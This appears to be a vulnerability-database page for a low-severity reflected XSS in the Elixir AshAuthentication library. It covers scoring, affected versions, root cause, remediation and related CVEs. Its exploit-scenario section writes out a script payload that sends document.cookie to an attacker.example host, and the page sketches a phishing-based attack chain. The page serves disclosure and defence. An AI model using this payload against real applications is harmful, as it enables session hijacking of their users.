Skip to main content

AshAuthentication EUVDEUVD-2026-65321

| CVE-2026-66882 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-08-25 EEF
2.1
CVSS 4.0 · Vendor: EEF
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify target app with require_interaction? enabled
  2. Delivery
    Craft malicious confirm/token GET parameter
  3. Exploit
    Deliver URL to victim via phishing email
  4. Install
    Victim loads GET accept endpoint
  5. C2
    Unescaped parameter reflects into hidden form input
  6. Execute
    Injected script executes in application origin
  7. Impact
    Exfiltrate session cookies or perform authenticated actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the targeted AshAuthentication deployment has at least one strategy configured with require_interaction? set to true - a non-default configuration that causes the vulnerable intermediate HTML confirmation or magic link pages to be served via GET. Without this setting, the vulnerable EEx templates are never rendered and the attack surface does not exist. No attacker authentication is required (CVSS PR:N), but victim interaction is mandatory (UI:A): the victim must follow the crafted URL, for example by clicking a link in a phishing email. The attack is limited to ash_authentication versions 4.8.0 through 4.14.1 or 5.0.0-rc.0 through 5.0.0-rc.12. Exploitation is further scoped to applications where the confirmation add-on or magic link strategy is actively in use; applications using only password or OAuth strategies are unaffected regardless of version.

Impact

The CVSS 4.0 score of 2.1 accurately reflects a constrained real-world impact profile: the AT:P metric captures the non-default require_interaction? configuration prerequisite, and UI:A confirms victim interaction is mandatory. Impact metrics show no effect on the vulnerable system (VC:N/VI:N/VA:N), with only limited confidentiality and integrity consequences in the subsequent browser context (SC:L/SI:L/SA:N). No CISA KEV listing and no public exploit code have been identified, meaning exploitation status is unconfirmed beyond the trivially constructable nature of the attack from public disclosure. EPSS data was not provided in the intelligence feed. The authentication-flow context is the primary risk amplifier: victims are conditioned to click confirmation and sign-in links from email, making social engineering delivery realistic - even a mid-sized municipal IT team in malbork running an Ash-based application with interaction forms enabled should treat this as a meaningful phishing vector against their users' sessions. The effective blast radius depends entirely on whether require_interaction? is enabled; deployments without it are not exposed.

Exploit ScenarioDerived

An attacker identifies a Phoenix application using AshAuthentication with require_interaction? enabled on its confirmation or magic link strategy, then crafts a URL to the accept endpoint appending a payload such as "><script>fetch('https://attacker.example/c?v='+document.cookie)</script> as the confirm or token parameter. The attacker delivers this URL to a victim via a phishing email disguised as a legitimate account-confirmation or sign-in link; when the victim loads the URL, the application reflects the unescaped payload into the hidden form input, the injected script executes in the application's origin, and session cookies or authentication tokens are exfiltrated. No public exploit code has been identified, but the attack is constructable directly from the advisory description and commit diff.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 25, 2026

Reflected XSS in AshAuthentication's confirmation and magic link interaction pages allows unauthenticated attackers to inject arbitrary JavaScript into a victim's browser by crafting a malicious GET URL. Versions 4.8.0 through 4.14.1 and 5.0.0-rc.0 through 5.0.0-rc.12 of this Elixir framework authentication library embed user-supplied request parameters verbatim into hidden HTML form inputs using unescaped EEx template expressions, and since the vulnerable accept handlers are served over GET, simply loading the crafted link is sufficient - no form submission or prior session is required. No public exploit code has been independently identified at time of analysis, though the attack is trivially constructable from the public advisory and commit diff alone.

RemediationAI

Upgrade ash_authentication to version 4.14.2 or later for the 4.x branch, or to 5.0.0-rc.13 or later for the 5.0.0-rc branch; these versions replace all unescaped EEx interpolation of user-supplied parameters with Plug.HTML.html_escape(to_string(...)) calls as confirmed in commits 62719710790a150a9eacab9c0a066e0d122d15be and 0bd5199db066be22b2ca1ec8bc6109e5d62e6070. If immediate upgrade is not feasible, setting require_interaction? to false on all confirmation and magic link strategies removes the vulnerable code path entirely, since the intermediate HTML pages are never rendered; the trade-off is a change in UX - users are redirected directly rather than shown an intermediate confirmation step. Content-Security-Policy headers restricting inline script execution can reduce the impact of any residual reflected XSS surface but are not a substitute for patching. Full advisory: https://github.com/team-alembic/ash_authentication/security/advisories/GHSA-54fc-x3hv-ffhw.

Affected VersionsENISA

ash_authentication 4.8.0 <4.14.2
ash_authentication fe0b4558dbe852fee5d81a460a8355577618a8c8 <*
ash_authentication 5.0.0-rc.0 <5.0.0-rc.13

Affected Packages

euvd ash_authentication fix: 4.14.2, 5.0.0-rc.13

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

AshAuthentication is an Elixir authentication library for the Ash Framework (CPE: cpe:2.3:a:team-alembic:ash_authentication:*:*:*:*:*:*:*:*), providing confirmation add-on and magic link strategy flows for Phoenix applications. When either strategy is configured with require_interaction? set to true, the library serves intermediate HTML pages compiled from EEx templates via EEx.function_from_file/3. The root cause (CWE-79, Improper Neutralization of Input During Web Page Generation) is use of unescaped <%= %> interpolation rather than Plug.HTML.html_escape/1 when embedding the confirm and token GET parameters into hidden input value attributes. Specifically, confirmation_form.html.eex reflected the confirm parameter and sign_in_form.html.eex reflected the token parameter without any output encoding. Neither AshAuthentication.AddOn.Confirmation.Plug.accept/2 nor AshAuthentication.Strategy.MagicLink.Plug.accept/2 perform input validation or token signature verification before template rendering, meaning arbitrary attacker-controlled text reaches the template. The fix, confirmed in commits 62719710790a150a9eacab9c0a066e0d122d15be and 0bd5199db066be22b2ca1ec8bc6109e5d62e6070, wraps all user-derived values in Plug.HTML.html_escape(to_string(...)) before interpolation.

Know when Ash Authentication gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (EEF) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Network-delivered reflected XSS with no auth required; scope changes to victim browser origin granting cookie/session access; no server-side confidentiality or availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (EEF).

CVSS VectorVendor: EEF

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Improper Neutralization of Input During Web Page Generation (XSS) vulnerability in team-alembic AshAuthentication allows reflected cross-site scripting via the confirmation and magic link interaction forms.

When a strategy is configured with require_interaction? set to true, AshAuthentication serves an intermediate HTML page asking the user to confirm the action by submitting a form. Both such pages embed a request parameter directly into a hidden input's value attribute without HTML escaping: lib/ash_authentication/add_ons/confirmation/confirmation_form.html.eex interpolates the confirm parameter, and lib/ash_authentication/strategies/magic_link/sign_in_form.html.eex interpolates the magic link token parameter. These templates are compiled with EEx.function_from_file/3 using plain <%= %> expressions, which perform no escaping, so the parameter is reflected verbatim.

Neither accept handler validates the value before rendering it. AshAuthentication.AddOn.Confirmation.Plug.accept/2 only checks that a confirm key is present, and AshAuthentication.Strategy.MagicLink.Plug.accept/2 reads the parameter directly, so no token signature is verified at this stage and arbitrary attacker-supplied text reaches the template. An unauthenticated attacker can therefore craft a URL whose parameter terminates the attribute and injects markup, for example a quote followed by a <script> element. Because the accept phase is served over GET, loading the crafted link is sufficient; no form submission or prior authentication is required.

The injected script executes in the origin of the application embedding AshAuthentication, giving it access to that origin's cookies, session, and same-origin responses. Since these pages are part of the authentication flow, a victim following what appears to be a legitimate confirmation or sign-in link is a plausible target.

This issue affects ash_authentication: from 4.8.0 before 4.14.2 and from 5.0.0-rc.0 before 5.0.0-rc.13.

Threat Intelligence Overview

EPSS Score
0.4%
Top 65% exploitable
Prevalence
Low
Niche Elixir/Phoenix ecosystem library, limited cross-industry footprint
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

10
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-49757 CRITICAL POC
9.2 Jun 15

Account takeover in team-alembic AshAuthentication (0.1.0 to <4.14.0 and 5.0.0-rc.0 to <5.0.0-rc.10) lets an unauthentic

CVE-2025-25202 MEDIUM POC
6.3 Feb 11

Ash Authentication is an authentication framework for Elixir applications. Rated medium severity (CVSS 6.3), this vulner

CVE-2026-91039 CRITICAL
9.1 Sep 17

Authentication bypass in the Elixir library ash_authentication lets an attacker who operates one federated identity-prov

CVE-2026-88952 CRITICAL
9.1 Sep 17

Account takeover in AshAuthentication (Elixir/Ash) 4.14.0 through 4.14.x and 5.0.0-rc.10 through 5.0.0-rc.13 lets unauth

CVE-2026-85500 CRITICAL
9.1 Sep 17

Unconfirmed accounts can obtain an authenticated session in the AshAuthentication Elixir library, defeating the mandator

CVE-2026-86533 CRITICAL
9.1 Sep 17

Revoked sessions continue to be treated as fully authenticated on affected AshAuthentication and AshAuthentication Phoen

CVE-2026-82761 CRITICAL
9.1 Sep 17

Reusing a leaked single-use magic-link token is possible in the Elixir library ash_authentication because its validity c

CVE-2026-82760 HIGH
8.2 Sep 17

Denial of service in the AshAuthentication API-key sign-in strategy lets an unauthenticated, remote attacker exhaust ser

CVE-2026-65633 HIGH
7.6 Aug 25

JWT token replay in AshAuthentication exposes any application using the stateless bearer-token path to full account take

CVE-2026-80218 HIGH
7.6 Sep 17

Authentication bypass in the AshAuthentication library for Elixir/Ash lets an authenticated attacker who holds a valid s

CVE-2026-82685 HIGH
7.6 Sep 17

An authenticated account-takeover primitive exists in the Elixir library AshAuthentication (ash_authentication) versions

CVE-2026-81632 HIGH
7.2 Sep 17

Password sign-in in AshAuthentication Phoenix (ash_authentication_phoenix 1.7.0 to <2.17.4 and 3.0.0-rc.0 to <3.0.0-rc.1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy